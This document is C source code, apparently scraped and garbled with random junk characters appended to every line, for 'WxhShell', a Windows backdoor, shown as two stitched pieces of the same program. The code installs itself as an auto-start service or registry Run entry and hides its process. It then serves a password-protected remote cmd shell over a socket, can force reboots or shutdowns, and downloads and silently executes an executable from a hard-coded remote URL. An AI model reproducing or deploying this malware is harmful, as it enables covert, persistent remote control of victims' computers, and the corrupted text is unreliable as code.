    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v ccH(T  
    else { t%=7v)IOE  
    closesocket(wsh); nh} Xu~#_  
    ExitThread(0); INg0[Lpc  
    } sU_K^=6*  
    break; 5PeS/%uT@  
    } ;,4*uU'vq  
  // 获取shell }%< ?]  
  case 's': { D p'urf\*$  
    CmdShell(wsh); uC'-: t#  
    closesocket(wsh); Ln& pe(c  
    ExitThread(0); ;s B=f  
    break; E'QAsU8pP  
  } -+".ut:R  
  // 退出 I\@r ~]+y  
  case 'x': { *QC6zJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7~h3B<  
    CloseIt(wsh); O =Z}DGa+  
    break; .a%6A#<X  
    } *[Hp&6f  
  // 离开 m%HT)`>bg  
  case 'q': { p*g Fr hm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 02J/=AC5  
    closesocket(wsh); t;8)M $ p  
    WSACleanup(); DzZF*ylQ5P  
    exit(1); uF7vba$  
    break; t 7Q$  
        } Y)rK'OY'  
  } -^@FZ R^Y  
  } Y 6a`{'  
MP%#)O6  
  // 提示信息 'n &p5%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `~GXK  
} ?WI v4  
  } /vQ)$;xf#  
!nmZ"n|}p  
  return; X|of87  
} 'P.y?  
S <mZs;  
// shell模块句柄 T^A(v(^D  
int CmdShell(SOCKET sock) *lfjsrPu  
{ U2VEFm6  
STARTUPINFO si; (m/:B= K  
ZeroMemory(&si,sizeof(si)); JX59n%$@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K9<8FSn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a5a ;Fp  
PROCESS_INFORMATION ProcessInfo; r:QLU]   
char cmdline[]="cmd"; ;z:Rj}l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v{" nyW6#  
  return 0; SoIK<*J  
} $fb%?n{  
&CG94  
// 自身启动模式 R?wZ\y Ks}  
int StartFromService(void) @2Z|\ojJ  
{ iJ>=!Q  
typedef struct +t7HlAXB#  
{ IFLphm5  
  DWORD ExitStatus; ql?w6qFs]  
  DWORD PebBaseAddress; </I%VHP,[f  
  DWORD AffinityMask; > X~\(|EM  
  DWORD BasePriority; uLdHE5vr  
  ULONG UniqueProcessId;  5wK==hZ  
  ULONG InheritedFromUniqueProcessId; vl (``5{  
}   PROCESS_BASIC_INFORMATION; 1g;2e##)  
Kw fd S(  
PROCNTQSIP NtQueryInformationProcess; }&v}S6T  
L$ T2 bul  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,EQ0""G!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #$WnMJ@  
u(9pRr L  
  HANDLE             hProcess; +)c<s3OCE  
  PROCESS_BASIC_INFORMATION pbi; q;K]NP-_p  
(B#FLoK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R @\fqNq  
  if(NULL == hInst ) return 0; _S_,rTf&  
F8%^Ed~@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xF_u:}7`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IOHWb&N6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XpAJP++  
z_c-1iXCW  
  if (!NtQueryInformationProcess) return 0; \`k=9{R.  
qnP4wRpr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MWwqon|  
  if(!hProcess) return 0; X}#vt?mu  
G4 7^xR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w,1N ;R&  
9SC1A-nF  
  CloseHandle(hProcess); ^gVQ6=z%  
XfcYcN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AbNr]w&pXC  
if(hProcess==NULL) return 0; -x ?Z2EA!  
$1=7^v[U  
HMODULE hMod; JuJW]E Q  
char procName[255]; <Sot{_"li  
unsigned long cbNeeded; )CXlPbhY?  
=eA|gt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yzEyOz@Q  
UP#@gxF  
  CloseHandle(hProcess); *zRig|k!H  
shw?_#?1dy  
if(strstr(procName,"services")) return 1; // 以服务启动 TG=A]--_a  
9Qyc!s`  
  return 0; // 注册表启动 N[@~q~v  
} *)[fGxz \  
bU gg2iFS  
// 主模块 +}jzge"  
int StartWxhshell(LPSTR lpCmdLine) / `cy4<  
{ QMMpB{FZ`o  
  SOCKET wsl; qkfof{z  
BOOL val=TRUE; smCACQ$ (  
  int port=0; gj;gl ="3  
  struct sockaddr_in door; f@sC~A. 9\  
mxqZj8VuH  
  if(wscfg.ws_autoins) Install(); '@t,G,FJ  
w/NT 5  
port=atoi(lpCmdLine); 05F/&+V  
c:Czu  
if(port<=0) port=wscfg.ws_port; gV)/lDEM5  
Pll%O@K  
  WSADATA data; 0d[O/Q`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #8jiz+1 _  
WX Fm'5Vr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W~H`{x%Av>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1n8y4k)  
  door.sin_family = AF_INET; Q`i@['?p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A^lm0[3q  
  door.sin_port = htons(port); x)80:A}  
"1|g eO|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &._"rhz  
closesocket(wsl); Ee5YW/9]  
return 1; 39^+;Mev  
} )EMlGM'2q  
5 CnNp?.t^  
  if(listen(wsl,2) == INVALID_SOCKET) { d/GSG%zB  
closesocket(wsl); tnpEfi-  
return 1; IV~)BW leT  
} C32*RNG?U  
  Wxhshell(wsl); R1JD{  
  WSACleanup(); ~v&Q\>'  
B\D)21Ik}%  
return 0; XK~HfA?  
USART}Us4  
} 548L^"D  
/%&5Iq\:vA  
// 以NT服务方式启动 6[t(FcS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7 @\i5  
{ p` ~=v4;b  
DWORD   status = 0; "3_X$`v"!  
  DWORD   specificError = 0xfffffff; t=lDN'\P  
w[a(I} x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5_A*I C]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N/>:})dav  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~ !ei]UP  
  serviceStatus.dwWin32ExitCode     = 0; "wH(t k4  
  serviceStatus.dwServiceSpecificExitCode = 0; x7B;\D#`i/  
  serviceStatus.dwCheckPoint       = 0; JCxQENsVqB  
  serviceStatus.dwWaitHint       = 0; cZ%tJ(&\7X  
R|@~<*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); idHI)6!  
  if (hServiceStatusHandle==0) return; o5/BE`VD5c  
I_#5gq  
status = GetLastError(); xd `MEOY  
  if (status!=NO_ERROR) 3'p 1m`8  
{ 3LyNi$`f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t=eI*M+>h  
    serviceStatus.dwCheckPoint       = 0; h@JX?LzZS  
    serviceStatus.dwWaitHint       = 0; N_Ezp68Fp  
    serviceStatus.dwWin32ExitCode     = status; 7r:&%?2:g  
    serviceStatus.dwServiceSpecificExitCode = specificError; |FFz $'8)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BN(=LQ2["  
    return; 1z|bQ,5  
  } xA^E+f:W_  
yC ?p,Ci,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  G>?kskm  
  serviceStatus.dwCheckPoint       = 0; V~jp  
  serviceStatus.dwWaitHint       = 0; , XscO7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N, u]2,E  
} {oOUIP  
$+2QbEk&-  
// 处理NT服务事件,比如:启动、停止 %qsl<_&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ] 0L=+=w  
{ ZweAY.]e  
switch(fdwControl) IjOBY  
{ |[r7B*fw  
case SERVICE_CONTROL_STOP: kE6/d,  
  serviceStatus.dwWin32ExitCode = 0; RU#}!Kq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &b>&XMIK  
  serviceStatus.dwCheckPoint   = 0; iN[6}V6Sm  
  serviceStatus.dwWaitHint     = 0; K:9AP{+  
  { bGB$a0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >aVtYp B  
  } @}PXBU   
  return; ;jx[  +  
case SERVICE_CONTROL_PAUSE: ^?]-Q*w3Qs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a/s5Oit2'X  
  break; Y8%l)g  
case SERVICE_CONTROL_CONTINUE: $XcH.z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AJ}m2EH  
  break; B T}l"  
case SERVICE_CONTROL_INTERROGATE: a Z)1SX`D  
  break; CN` ~DD{  
}; S;t`C~l\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y>C0 5?>  
} 9%21Q>Y?b  
g :B4zlKG  
// 标准应用程序主函数 }UcdkKq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mc`Z;D/mt  
{ AMB{Fssz  
sWse (_2  
// 获取操作系统版本  mVS^HQ:  
OsIsNt=GetOsVer(); Hr=|xw8.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #mJRL[V5^  
X'\h^\yOo  
  // 从命令行安装 T9J&^I  
  if(strpbrk(lpCmdLine,"iI")) Install(); E;`^`T40  
&'zc2  
  // 下载执行文件 t%e<]2-8  
if(wscfg.ws_downexe) { ]Hl{(v\H O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :B=Gb8?  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^B%ki  
} 'y>Y*/  
@J>JZ7m]\  
if(!OsIsNt) { SHSfe{n  
// 如果时win9x,隐藏进程并且设置为注册表启动 bxwwYSS  
HideProc(); z}==6| {  
StartWxhshell(lpCmdLine); teb(gUy}L6  
} 6DU(KYN  
else %=*|: v  
  if(StartFromService()) ?vbAaRg50s  
  // 以服务方式启动 )w<Z4_!N4s  
  StartServiceCtrlDispatcher(DispatchTable); 9 iJ$M!  
else wA 7\K~fHV  
  // 普通方式启动 #X1a v  
  StartWxhshell(lpCmdLine); 7. $wK.  
>}+R+''nR  
return 0; :81d~f7  
} N)D+FV29y  
ckV\f({  
KkTE -$-  
T(Yp90'6  
=========================================== w\D !e  
vw:GNpg'R6  
boDD?0.|  
8PVjNS/  
!U}2YM J  
f34/whD65  
" (f_YgQEL  
o_b3G  
#include <stdio.h> >r\GB#\5  
#include <string.h> 8oI|Z=  
#include <windows.h> /;}%E  
#include <winsock2.h> 7BINqVS&  
#include <winsvc.h> F7j/Zuj  
#include <urlmon.h> dR_6j}  
(_@]-   
#pragma comment (lib, "Ws2_32.lib") cK\ u  
#pragma comment (lib, "urlmon.lib") |,=^P` #%  
~Gh7i>n*  
#define MAX_USER   100 // 最大客户端连接数 1anh@T.  
#define BUF_SOCK   200 // sock buffer X=1o$:7  
#define KEY_BUFF   255 // 输入 buffer N2HD=[*cr  
__7}4mA  
#define REBOOT     0   // 重启 .hG*mXw>  
#define SHUTDOWN   1   // 关机 )qMbk7:v\  
opm_|0  
#define DEF_PORT   5000 // 监听端口 ?aWVfX!+G5  
EFx>Hu/ [G  
#define REG_LEN     16   // 注册表键长度 'nM4t  
#define SVC_LEN     80   // NT服务名长度 Ye$j43b  
sCt)Yp+8}B  
// 从dll定义API 9M($_2,44  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :2M&C+f[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'Nt)7U>oC9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *U%3 [6hm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H#V&5|K%  
>EFWevT{  
// wxhshell配置信息 Wq+GlB*  
struct WSCFG {  yZ[g2*1L  
  int ws_port;         // 监听端口 N>*+Wg$Ne  
  char ws_passstr[REG_LEN]; // 口令 U/kQwrM  
  int ws_autoins;       // 安装标记, 1=yes 0=no zdU 46|!u  
  char ws_regname[REG_LEN]; // 注册表键名 AIn/v`JeX  
  char ws_svcname[REG_LEN]; // 服务名 b+:J?MR;}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .QKyB>s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w< Xwz`O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JttDRNZAU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [PUu9rz#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lqMr@ :t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6i+,/vr  
(57!{[J  
}; o<3$|`S&  
$Z;/Sh  
// default Wxhshell configuration pw4^E|X  
struct WSCFG wscfg={DEF_PORT, MIr+4L  
    "xuhuanlingzhe", M.s'~S7y  
    1, 1d FuoX  
    "Wxhshell", 8 I_  
    "Wxhshell", ,G}i:7  
            "WxhShell Service", [(3s5)O  
    "Wrsky Windows CmdShell Service", *@PM,tS;  
    "Please Input Your Password: ", {]}94T~/k  
  1, mgVYKZWL-i  
  "http://www.wrsky.com/wxhshell.exe", $57b.+2n  
  "Wxhshell.exe" m#8[")a$"  
    }; jy2gR1~  
pk.\IKlG]  
// 消息定义模块 ^5Lk}<utw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n6WKk+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8aWEl%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mrnPZf i  
char *msg_ws_ext="\n\rExit."; 1F5KDWtE  
char *msg_ws_end="\n\rQuit."; [H <TcT8  
char *msg_ws_boot="\n\rReboot..."; /QyKXg6)l  
char *msg_ws_poff="\n\rShutdown..."; R^/SBrWve  
char *msg_ws_down="\n\rSave to "; 0stc$~~v  
HrsG^x  
char *msg_ws_err="\n\rErr!"; #L+:MA7H  
char *msg_ws_ok="\n\rOK!"; h,m 90Hd+  
=iKl<CqI$E  
char ExeFile[MAX_PATH]; cXqYO|3/M  
int nUser = 0; C[ mTVxd  
HANDLE handles[MAX_USER]; KsOWTq"uj  
int OsIsNt; JL1A3G  
JJtx `@Bc  
SERVICE_STATUS       serviceStatus; yTd8)zWq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L0!CHP/nRS  
W!? h2[  
// 函数声明 Qw'905;(  
int Install(void); nDC0^&  
int Uninstall(void); Su2{nNC>  
int DownloadFile(char *sURL, SOCKET wsh); -%yrs6  
int Boot(int flag); ;50&s .gZ  
void HideProc(void); ,n8\y9{G  
int GetOsVer(void); sNo8o1Hby  
int Wxhshell(SOCKET wsl); i}DS+~8v  
void TalkWithClient(void *cs); [A,^ F0:h  
int CmdShell(SOCKET sock); ]$lt  
int StartFromService(void); rjK`t_(=  
int StartWxhshell(LPSTR lpCmdLine); u7[}pf$}  
4_=2|2Wz[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _#:/ ~Jp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h.PBe  
Q&I`uS=F  
// 数据结构和表定义 `nl n@ ;  
SERVICE_TABLE_ENTRY DispatchTable[] = TMj;NSc3  
{ tWIJ,_8l  
{wscfg.ws_svcname, NTServiceMain}, yzhNl' Rz  
{NULL, NULL} DpgTm&}-  
}; n^T,R  
kUgfFa#_  
// 自我安装 V3t#kv  
int Install(void) @GFB{ ;=  
{ Y"MHs0O5>  
  char svExeFile[MAX_PATH]; l,4O  
  HKEY key; (*9.GyK  
  strcpy(svExeFile,ExeFile); rR#Ditn^  
U;MXiE3D  
// 如果是win9x系统,修改注册表设为自启动 er UYR"  
if(!OsIsNt) { 9KXL6#h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :h{uZ,#Gi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z~ C8JY:  
  RegCloseKey(key); VX$WL"A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u##th8h4U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T^1 Z_|A  
  RegCloseKey(key); 8#7qHT;cx  
  return 0; aZWj52  
    } r\;fyeH  
  } :D)(3U5  
} xmvE*q"9]  
else { HYfGu1j?X  
 m[B#k$  
// 如果是NT以上系统,安装为系统服务 @vt.Db  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9RJF  
if (schSCManager!=0) DpT9"?g7  
{ g |>LT_  
  SC_HANDLE schService = CreateService sCFxn  
  ( i3,IEN  
  schSCManager, Mqr_w!8d  
  wscfg.ws_svcname, !5o j~H  
  wscfg.ws_svcdisp, e|\xF V=4  
  SERVICE_ALL_ACCESS, gA!@oiq@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wb-C0^dTn  
  SERVICE_AUTO_START, pd|KIs%jl  
  SERVICE_ERROR_NORMAL, Jay"  
  svExeFile, \l~^dn}  
  NULL, RRIh;HhX  
  NULL, |vI`u[P  
  NULL, ?;ok9Y  
  NULL, G.rz6o;  
  NULL aTuu",f  
  ); -fq  
  if (schService!=0) K($l>PB,y@  
  { l_^SU8i57  
  CloseServiceHandle(schService); q!ZM Wg  
  CloseServiceHandle(schSCManager); |58HPW9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0<uek  
  strcat(svExeFile,wscfg.ws_svcname); Ek_5% n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hIJtu;}zU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }5;4'l8  
  RegCloseKey(key); >rCD5#DG  
  return 0; {o}U"b<+Ra  
    } )L:z r#  
  } [IL*}M!  
  CloseServiceHandle(schSCManager); 0[MYQl`  
} @NLcO}  
} gM&IV{k3  
]M7FIDg  
return 1; $Nu{c;7"  
} F8f}PV]b  
.[Sis<A]%  
// 自我卸载 1M]=Nv  
int Uninstall(void) ubcB <=xb  
{ y{%0[x*N<m  
  HKEY key; s#9q3JV0  
4S<M9A}  
if(!OsIsNt) { v675C#l(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?QOU9"@+B  
  RegDeleteValue(key,wscfg.ws_regname);  `q?3ux  
  RegCloseKey(key); PI9,*rOy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UMoj9/-  
  RegDeleteValue(key,wscfg.ws_regname); }L\;W:0  
  RegCloseKey(key); TN(Vzs%  
  return 0; $UR:j8C{p$  
  } oac)na:O#  
} EeW ,-I  
} .-d'*$ yJ  
else { 3UZd_?JI[^  
x-BU$bx5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I/O3OD  
if (schSCManager!=0) FK _ ZE>  
{ *w+'I*QSt~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +\eJxyO  
  if (schService!=0) M3tl4%j  
  { nip6|dN  
  if(DeleteService(schService)!=0) { |oY{TQ<<d  
  CloseServiceHandle(schService); $1yO Zp5  
  CloseServiceHandle(schSCManager); lsz3'!%Y)  
  return 0; Rx-\B$G  
  } fN&,.UB^p  
  CloseServiceHandle(schService); Qs&;MW4q  
  } G4* LO  
  CloseServiceHandle(schSCManager); m\&|#yq  
} a-{|/ n%  
} ingG  
{VcRur}&Y8  
return 1; =zkN63S  
} -DI >O/  
Aa ~W,  
// 从指定url下载文件 (95|DCL  
int DownloadFile(char *sURL, SOCKET wsh) # T=iS(i  
{ Tagf7tw4  
  HRESULT hr; 'C]w3Rh'  
char seps[]= "/"; xl&@g)Jj  
char *token; EXDDUqZ5\  
char *file; L&pR#  
char myURL[MAX_PATH]; -D`1z?zHra  
char myFILE[MAX_PATH]; qSY\a\.<  
& l>nzJ5?  
strcpy(myURL,sURL); {wqT$( (<  
  token=strtok(myURL,seps); bb6x} jR  
  while(token!=NULL) (GJtTp~2C4  
  { _Mw3>GNl  
    file=token; D2$ 9$xeR  
  token=strtok(NULL,seps); UB$}`39@  
  } j-<-!jTd  
s<I)THC  
GetCurrentDirectory(MAX_PATH,myFILE); AO-5>r  
strcat(myFILE, "\\"); IMf|/a9-  
strcat(myFILE, file); 8 v/H;65  
  send(wsh,myFILE,strlen(myFILE),0); tFmB`*!%  
send(wsh,"...",3,0); 6,>$Jzs)5E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3&hR#;,"X  
  if(hr==S_OK) zp}7p~#k^  
return 0; p<5]QV7st  
else Q((&Q?Vi  
return 1; %*D=ni#(sT  
B2;P%B  
} uo"<}>iJ  
] K$YtM^  
// 系统电源模块 E'08'8y  
int Boot(int flag) )U&9d  
{ 67j kU!  
  HANDLE hToken; j~q 7v `":  
  TOKEN_PRIVILEGES tkp; 2j s/>L0  
:?M_U;;z2+  
  if(OsIsNt) { DQG%`-J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GcV/_Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); btW#ebm  
    tkp.PrivilegeCount = 1; PmuG(qg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 20c5U%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @:N8V[*u  
if(flag==REBOOT) { PCT&d)}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mu3G/|t(  
  return 0; <.h7xZ  
} WVP?Ie8  
else { "N+4TfXy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s)-An( Uw  
  return 0; { DYY9MG8  
} S?688  
  } 5CI {&E  
  else { h FU8iB`Q  
if(flag==REBOOT) { }-3 VK%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X=QX9Ux?^  
  return 0; 1eI*.pt  
} @Jd&[T27Lr  
else { )!8q JQD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T`# nn|  
  return 0; yYz{*hq  
} 2yfU]`qN  
} lNX*s E .  
MJ}{Q1|*  
return 1; FL mD?nw  
} " MnWd BS  
}&0LoW/  
// win9x进程隐藏模块 Ed=/w6<  
void HideProc(void) +hRy{Ps/  
{  2E*=EjGV  
tA(oD4H9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8"h;+;  
  if ( hKernel != NULL ) k4{!h?h  
  { Ej(BE@6>s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZqclmCi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SeHrj&5U  
    FreeLibrary(hKernel); S{^x]h|?  
  } 72l:[5ccR  
}a"=K%b<\  
return; A$2 ;Bf  
} 64'2ICf#m  
j@xIa-{*  
// 获取操作系统版本 bxa>:71  
int GetOsVer(void) :<g0Ho?e  
{ _7!ZnJrR  
  OSVERSIONINFO winfo; P'KA-4!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6ALjM-t=V  
  GetVersionEx(&winfo); B- @bU@H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ag'hHFV  
  return 1; @`[e1KQ  
  else k$$SbStD  
  return 0; L?ZSfm2<  
} ct\msG }b:  
T@1;Nbz]  
// 客户端句柄模块 e66Ag}Sw|  
int Wxhshell(SOCKET wsl) 4Sh8w%s  
{ LATizu  
  SOCKET wsh; "`M~=RiI  
  struct sockaddr_in client; Zh8\B)0unn  
  DWORD myID; H9WYt#  
P0 0G*iY~\  
  while(nUser<MAX_USER) :Wbp|:N0  
{ ,7V?K j  
  int nSize=sizeof(client); Do4hg $:40  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kn:hxdZ  
  if(wsh==INVALID_SOCKET) return 1; NfDS6i.Fqp  
Zj[m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .>W [  
if(handles[nUser]==0) R+!U.:-yz  
  closesocket(wsh); zY/Oh9`=v  
else xd{.\!q.  
  nUser++; i$kB6B#==  
  } WN]k+0#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `)cI^!  
b36{vcs~  
  return 0; 2)IM<rf'^  
} #?)6^uTW  
j \r GU){  
// 关闭 socket b_sasZo  
void CloseIt(SOCKET wsh) B  W*8  
{ & %/p; ::A  
closesocket(wsh); K~#?Y,}O  
nUser--; //NV_^$y  
ExitThread(0); k (AE%eA  
} N[eL Qe]q  
k -G9'c~  
// 客户端请求句柄 )2c]Z|  
void TalkWithClient(void *cs) *Xnf}Ozx  
{ $6m@gW]N  
vyS>3(NZ  
  SOCKET wsh=(SOCKET)cs; = cRmaD  
  char pwd[SVC_LEN]; 2Pb+/1*ix  
  char cmd[KEY_BUFF]; kk5&lak2V  
char chr[1]; }"+"nf5h  
int i,j; G^{~'TZv%  
"d<uc j  
  while (nUser < MAX_USER) { (A=PDjP!  
EY]H*WJJ  
if(wscfg.ws_passstr) { *  1}dk`-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =x+1A)Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YC;@^  
  //ZeroMemory(pwd,KEY_BUFF); d>u^ 7:  
      i=0; & &CrF~  
  while(i<SVC_LEN) { _wXT9`|3  
}V ]*FCpQ  
  // 设置超时 L4^/O29  
  fd_set FdRead; i\lvxbp  
  struct timeval TimeOut; ?5't1219  
  FD_ZERO(&FdRead); 50 w$PW  
  FD_SET(wsh,&FdRead); qt.4dTd:_  
  TimeOut.tv_sec=8; cEf"m ?w  
  TimeOut.tv_usec=0; Lu^uY7 ?}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !84Lvg0&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2XL^A[?   
I;}U/'RR>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uPl7u 1c  
  pwd=chr[0]; a5Vlfx  
  if(chr[0]==0xd || chr[0]==0xa) { 'bRf>=  
  pwd=0; N5)H(<}  
  break; Yt*NIwWr  
  } kYCm5g3u  
  i++; Q1Qw45$  
    } )'jGf;du  
tX% C5k  
  // 如果是非法用户,关闭 socket ()j)}F#Z`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fep@VkN  
} o#"yFP1  
)0I -N)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *0oa2fz%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q2|x$5  
hgYFR6VH  
while(1) { Qxy ~ %;X  
X*#\JF4$i  
  ZeroMemory(cmd,KEY_BUFF); Vel(+HS  
?VxQ&^|  
      // 自动支持客户端 telnet标准   GR(m+%Vw!  
  j=0; %{'[S0@Z  
  while(j<KEY_BUFF) { cq]0|\Vz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OLF6["0Rn  
  cmd[j]=chr[0]; #k<l5x`  
  if(chr[0]==0xa || chr[0]==0xd) { {R(/Usg!=  
  cmd[j]=0; A' ![*O  
  break; Jv 5l   
  } aPe*@py3T  
  j++; O:+y/c  
    } /(||9\;  
7#"y mE  
  // 下载文件 Z}zka<y6K6  
  if(strstr(cmd,"http://")) { D]d! lMK/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B^M L}$  
  if(DownloadFile(cmd,wsh)) R4)l4rnO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6`7`herE}  
  else vR#MUKfh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CBdr 1  
  }  })!-  
  else { 6(\-aH'Ol  
BGfwgI.m  
